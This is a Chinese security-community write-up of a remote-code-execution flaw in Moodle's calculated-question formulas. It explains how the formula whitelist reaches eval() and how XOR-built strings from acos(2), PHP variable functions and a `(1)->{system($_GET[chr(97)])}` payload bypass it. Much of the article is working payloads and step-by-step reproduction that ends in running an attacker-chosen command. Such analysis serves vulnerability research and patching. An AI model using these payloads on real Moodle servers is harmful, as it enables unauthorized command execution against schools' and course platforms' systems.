奇安信攻防社区-巧用异或绕过限制导致rce

巧用异或绕过限制导致rce

某课程系统后台RCE

巧用异或绕过限制导致rce
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0x00 系统介绍
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Moodle（[moodle.org](http://moodle.org/)）是一个开源的在线教育系统（慕课）。采用PHP+Mysql开发，界面友好，符合SCORM/AICC标准。以功能强大、而界面简单、精巧而著称。它是eLearning技术先驱，是先进在线教学理念和实践的集大成者，已成为全球大中学院校建立开放式课程系统的首选软件。主要模块：课程管理、作业模块、聊天模块、投票模块、论坛模块、测验模块、资源模块、问卷调查模块、互动评价（workshop）。Moodle具有先进的教学理念，创设的虚拟学习环境中有三个维度：技术管理维度、学习任务维度和社会交往维度，以社会建构主义教学法为其设计的理论基础，它提倡师生或学生彼此间共同思考，合作解决问题。

0x01 漏洞分析
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当教师出题目是计算题，可以包含*变量*（Moodle 称之为“通配符”），用花括号表示（例如`{a}`），可以将其分配给数字区间。每次生成问题时，变量都会被替换为定义数字范围内的不同值。

![image-20241009104853596](https://oss-yg-cztt.yun.qianxin.com/butian-public/f990aabd479e540113b6e146537bde591.png)

该系统会检测公式合规性，当公式符合要求后传递给`eval()`进行执行。如果可以绕过对公式的检测，就可以执行任意方法执行命令。下面分析一下相关操作代码

```php
public function calculate($expression) {
        // Make sure no malicious code is present in the expression. Refer MDL-46148 for details.
        if ($error = qtype_calculated_find_formula_errors($expression)) {
            throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $error);
        }
        $expression = $this->substitute_values_for_eval($expression);
        if ($datasets = question_bank::get_qtype('calculated')->find_dataset_names($expression)) {
            // Some placeholders were not substituted.
            throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '',
                '{' . reset($datasets) . '}');
        }
        return $this->calculate_raw($expression);
    }

protected function calculate_raw($expression) {
    try {
        // In older PHP versions this this is a way to validate code passed to eval.
        // The trick came from http://php.net/manual/en/function.eval.php.
        if (@eval('return true; $result = ' . $expression . ';')) {
            return eval('return ' . $expression . ';');
    }
    } catch (Throwable $e) {
    // PHP7 and later now throws ParseException and friends from eval(),
    // which is much better.
    }
    // In either case of an invalid $expression, we end here.
        throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $expression);
}
```

可以看到`calculate_raw`方法中对公示进行了直接执行，而在调用其的`calculate`方法中存在`qtype_calculated_find_formula_errors`方法用来检测公式的合法性。我们来看看是怎么进行检验的

```php
function qtype_calculated_find_formula_errors($formula) {
    foreach (['//', '/*', '#', '<?', '?>'] as $commentstart) {
        if (strpos($formula, $commentstart) !== false) {
            return get_string('illegalformulasyntax', 'qtype_calculated', $commentstart);
        }
    }

// Validates the formula submitted from the question edit page.
    // Returns false if everything is alright
    // otherwise it constructs an error message.
    // Strip away dataset names. Use 1.0 to catch illegal concatenation like {a}{b}.
    $formula = preg_replace(qtype_calculated::PLACEHODLER_REGEX, '1.0', $formula);

// Strip away empty space and lowercase it.
    $formula = strtolower(str_replace(' ', '', $formula));
```

1. foreach是用来检测公式中是否有php标签，如果存在就报错
2. 将公式中变量，如{a}替换为1.0，该正则是匹配{}括号中必须以字母开头，同时并不能存在`>} <{"'`字符串
3. 将公式转换为小写并删除空格

```php
$safeoperatorchar = '-+/*%>:^\~<?=&amp;|!'; /* */
$operatorornumber = "[{$safeoperatorchar}.0-9eE]";

while (preg_match("~(^|[{$safeoperatorchar},(])([a-z0-9_]*)" .
      "\$({$operatorornumber}+(,{$operatorornumber}+((,{$operatorornumber}+)+)?)?)?\$~",$formula, $regs)) {
      switch ($regs[2]) {
            // Simple parenthesis.
      case '':
        if ((isset($regs[4]) &amp;&amp; $regs[4]) || strlen($regs[3]) == 0) {
            return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]);
           }
           break;

// Zero argument functions.
       case 'pi':
         if (array_key_exists(3, $regs)) {
            return get_string('functiontakesnoargs', 'qtype_calculated', $regs[2]);
            }
            break;

// Single argument functions (the most common case).
       case 'abs': case 'acos': case 'acosh': case 'asin': case 'asinh':
       case 'atan': case 'atanh': case 'bindec': case 'ceil': case 'cos':
       case 'cosh': case 'decbin': case 'decoct': case 'deg2rad':
       case 'exp': case 'expm1': case 'floor': case 'is_finite':
       case 'is_infinite': case 'is_nan': case 'log10': case 'log1p':
       case 'octdec': case 'rad2deg': case 'sin': case 'sinh': case 'sqrt':
       case 'tan': case 'tanh':
            if (!empty($regs[4]) || empty($regs[3])) {
            return get_string('functiontakesonearg', 'qtype_calculated', $regs[2]);
            }
            break;

// Functions that take one or two arguments.
        case 'log': case 'round':
            if (!empty($regs[5]) || empty($regs[3])) {
                return get_string('functiontakesoneortwoargs', 'qtype_calculated', $regs[2]);
             }
             break;

// Functions that must have two arguments.
            case 'atan2': case 'fmod': case 'pow':
                if (!empty($regs[5]) || empty($regs[4])) {
                    return get_string('functiontakestwoargs', 'qtype_calculated', $regs[2]);
                }
                break;

// Functions that take two or more arguments.
            case 'min': case 'max':
                if (empty($regs[4])) {
                    return get_string('functiontakesatleasttwo', 'qtype_calculated', $regs[2]);
                }
                break;

default:
                return get_string('unsupportedformulafunction', 'qtype_calculated', $regs[2]);
        }

// Exchange the function call with '1.0' and then check for
        // another function call...
        if ($regs[1]) {
            // The function call is proceeded by an operator.
            $formula = str_replace($regs[0], $regs[1] . '1.0', $formula);
        } else {
            // The function call starts the formula.
            $formula = preg_replace('~^' . preg_quote($regs[2], '~') . '$[^)]*$~', '1.0', $formula);
        }
    }
```

接下来就是定义了白名单安全运算符字符`-+/*%>:^\~<?=&amp;|!`，以及运算符加数字和科学计数法的e字母

随后进入while循环判断正则`preg_match("~(^|[{$safeoperatorchar},(])([a-z0-9_]*)" ."\$({$operatorornumber}+(,{$operatorornumber}+((,{$operatorornumber}+)+)?)?)?\$~",$formula, $regs)`匹配公式的结果

```php
这个正则表达式用于匹配一个包含标识符和参数的函数调用格式。具体来说，它匹配以下内容：

1.开头部分：
^ 或者一个运算符或括号：[-+/*%>:^\~<?=&amp;|!,(]。
2. 标识符部分：
紧接着是由小写字母、数字或下划线组成的字符串 [a-z0-9_]*。
3. 函数调用括号：
然后是一个开括号 (。
4.函数参数部分：
括号内可以包含一个或多个符合 [-+/*%>:^\~<?=&amp;|!.0-9eE] 的项，这些项之间用逗号分隔，并且可以有多层嵌套。

总结来说，这个正则表达式匹配的是像 func(a, 1.5, +2) 这样的函数调用，其中 func 是一个标识符，括号内包含由运算符和数字组成的参数。
```

该表达式主要是匹配公式中的方法名加参数，并将结果存入$regs数组中，如

```php
$formula="func(1)"
$regs=Array
(
    [0] => func(1)
    [1] => 
    [2] => func
    [3] => 1
)

$formula="*func(1,2)"
$regs=Array
(
    [0] => func(1,2)
    [1] => *
    [2] => func
    [3] => 1,2
    [4] => ,2
)
```

可以看到

- $regs\[0\]：匹配到整个函数调用，如果前面有运算符或者括号也会被匹配到
- $regs\[1\]：方法名前的运算符或者括号
- $regs\[2\]：方法名
- $regs\[3\]...：函数参数部分

回到代码逻辑，while循环中判断公式中的函数名，当不在规定的函数名中会报错返回。

如果函数调用正确，即函数名和参数数量符合要求，会来到下面的逻辑

```php
if ($regs[1]) {
    // The function call is proceeded by an operator.
    $formula = str_replace($regs[0], $regs[1] . '1.0', $formula);
} else {
    // The function call starts the formula.
    $formula = preg_replace('~^' . preg_quote($regs[2], '~') . '$[^)]*$~', '1.0',$formula);
}
```

这里主要是把函数调用替换为`"1.0"`，即`(cos(1))`会被替换为`(1.0)`。

最后while循环结束后还会进行判断

```php
if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {
    return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]);
} else {
    // Formula just might be valid.
    return false;
}
```

如果最终的公式中存在除了正确运算符或者数字或者eE外其他字符时也会报错，不存在会被鉴定为正确的公式。

0x02 绕过分析
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通过上面对公式的正则分析，我们发现直接调用system等方法是不行的。

```php
$safeoperatorchar = '-+/*%>:^\~<?=&amp;|!'; 
```

这是我们想到了无字母rce的思路，但是常见的`$`和`[`（方括号）符号应为不在运算字符里也是不能用的，只能使用`^`异或符。

而在白名单函数中`acos`函数，是返回一个数的反余弦，如果 `x` 不在 \[-1, 1\] 范围内，函数将返回 NaN，并设置适当的数学错误（例如 `EDOM`）。即`acos(2):"NAN"`。

这意味着像“ `acos(2) . acos(2)`”这样的表达式会生成*字符串*“ `NANNAN`”。但是，无法立即连接两个 `acos`调用，因为验证逻辑不允许在调用之间没有实际“运算符”的情况下进行第二次调用。幸运的是，我们很快发现可以使用`acos(2) . 0+acos(2)` 来绕过，因此我们最终可以生成`NANNAN`。

比如：

```php
(acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)
==>
NAN1 ^ 000 ^ 111
按位XOR==>
"N":0100 1110
"0":0011 0000
--------------
"~":0111 1110
"1":0011 0001
--------------
"O":0100 1111
```

我们可以通过这种方式获取想要的字符串，要想获取所有字母字符还得利用复数

```php
A: 0100 0001
-: 0010 1101
8: 0011 1000
------------
T: 0101 0100
```

这里有自动生成任意字符串的[脚本](https://github.com/RedTeamPentesting/moodle-rce-calculatedquestions/blob/main/xor-generator/xor-generator.py)。

比如

```php
(acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0)

==> "PRINF"
```

在php中有个特性：可变函数

> PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号，PHP 将寻找与变量的值同名的函数，并且尝试执行它。可变函数可以用来实现包括回调函数，函数表在内的一些用途。

即`"prinf"()` 等价于`prinf()`，所以我们似乎可以根据异或的方式获得任意函数名字符串+（）来进行调用。

但是根据我们上面的分析只能以运算符+括号的方法拼接编写公式而不能直接以`(xxx)()`的形式。

```php
(acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)[任意运算符]()      right
(acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)()                 error
```

如果不能跟括号，我们就不能异或出函数名进行调用，继续看代码，通过公式规范性检测后，会调用以下方法

```php
/**
     * Substitute variable placehodlers like {a} with their value wrapped in ().
     * @param string $expression the expression. A PHP expression with placeholders
     *      like {a} for where the variables need to go.
     * @return string the expression with each placeholder replaced by the
     *      corresponding value.
     */
    protected function substitute_values_for_eval($expression) {
        return str_replace($this->search, $this->safevalue, $expression);
    }
```

其是在设置变量取值返回时把`{a}`替换为`(a)`，此时a=取值范围的随机值。

```php
(acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0){a}

==> "prinf"{a}  ===> "prinf"(a) ==> prinf(1) 
```

而`phpinfo`方法可以传入数字的

![image-20241009143837212](https://oss-yg-cztt.yun.qianxin.com/butian-public/f1ba3eb09c8a6e551f4b24327baf7feaa.png)

所以我们可以构造`"phpinfo"`的异或公式，其为

```php
((acos(2) . 0+acos(2) . 0+acos(2)) ^ (2 . 1 . 1 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . 0 . 0 . 0) ^ (0 . 0 . -4 . 8 . 8 . 1) ^ (-8 . 2 . 3 . 7 . 0 . 0))
```

创建计算题公式，并在最后并上通配符{a}来构造()

![image-20241009144054973](https://oss-yg-cztt.yun.qianxin.com/butian-public/f5eb0f1dc08f8dea3db2cd096ea1fbc15.png)

规定取值范围，让系统只取1作为()括号中的值

![image-20241009144515913](https://oss-yg-cztt.yun.qianxin.com/butian-public/fc3a55dd3069be0db7ebfb53d75f76b58.png)

添加取值范围后，保存预览该问题

![image-20241009144718913](https://oss-yg-cztt.yun.qianxin.com/butian-public/f446d6658ae179dd39dd58513662b5de1.png)

成功执行`phpinfo(1)`方法。

但是。。。

虽然系统帮我们替换出了想要的括号，但是限制了我们只能调用参数为一个数字的函数。我们想要调用命令执行函数时必须得需要传入字符串，似乎又走进了死胡同。

0x03 再绕过
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又回到系统正则校验逻辑：

```php
// Strip away dataset names. Use 1.0 to catch illegal concatenation like {a}{b}.
$formula = preg_replace(qtype_calculated::PLACEHODLER_REGEX, '1.0', $formula);
```

`{}括号`里的会被直接替换为1.0，`()括号`里会被正则递归校验最终处理成不带`()括号`通过。既然无法利用`()括号`执行我们想要的函数，那我们可以研究一下在`{}括号`能不能做做文章。

除了找的`{}括号`里可执行任意函数的方法外还得注意如何绕过`substitute_values_for_eval`方法，防止被替换。

在php中又有一特性：可变变量

![image-20240914160050045](https://oss-yg-cztt.yun.qianxin.com/butian-public/f4270a6333b799a202379cce2361e15cf.png)

我们可以用`->{..}`来访问类成员变量，而`->{..}`允许你使用任何*表达式*作为属性名称。例如：

![image-20240914160750076](https://oss-yg-cztt.yun.qianxin.com/butian-public/fa1bc4794049330ab9a03858280b06802.png)

且`->`在运算字符里，我们可构造

```php
(1)->{system($_GET[chr(97)])}
```

在替换{..}=>1.0的正则中不能存在单双引号，所以用`[chr(97)]`进入绕过，表示http请求中的a参数进行传参，来执行任意命令。

那如何防止公式中的变量`{..}`被数据集替换呢？其实很简单，只需前端界面将数据集`<select>`下拉框元素中的`value`改为空即可。

0x04 漏洞复现
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首先在题库中创建题目，并将公式改成payload

![image-20240914163912580](https://oss-yg-cztt.yun.qianxin.com/butian-public/f8db1dda729a763fb6b5340d181581bc7.png)

点击保存，在配置变量数据集选项将value置空。

![image-20240914164019019](https://oss-yg-cztt.yun.qianxin.com/butian-public/f5e737cd466150458b89adddce5cc9baf.png)

点击下一页时抓包，添加参数a=ipconfig成功执行命令

![image-20240914164548577](https://oss-yg-cztt.yun.qianxin.com/butian-public/f584a35c0286dcd75cf2868b0ae0ca515.png)

发表于 2025-02-14 10:00:02
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分类：漏洞分析

巧用异或绕过限制导致rce

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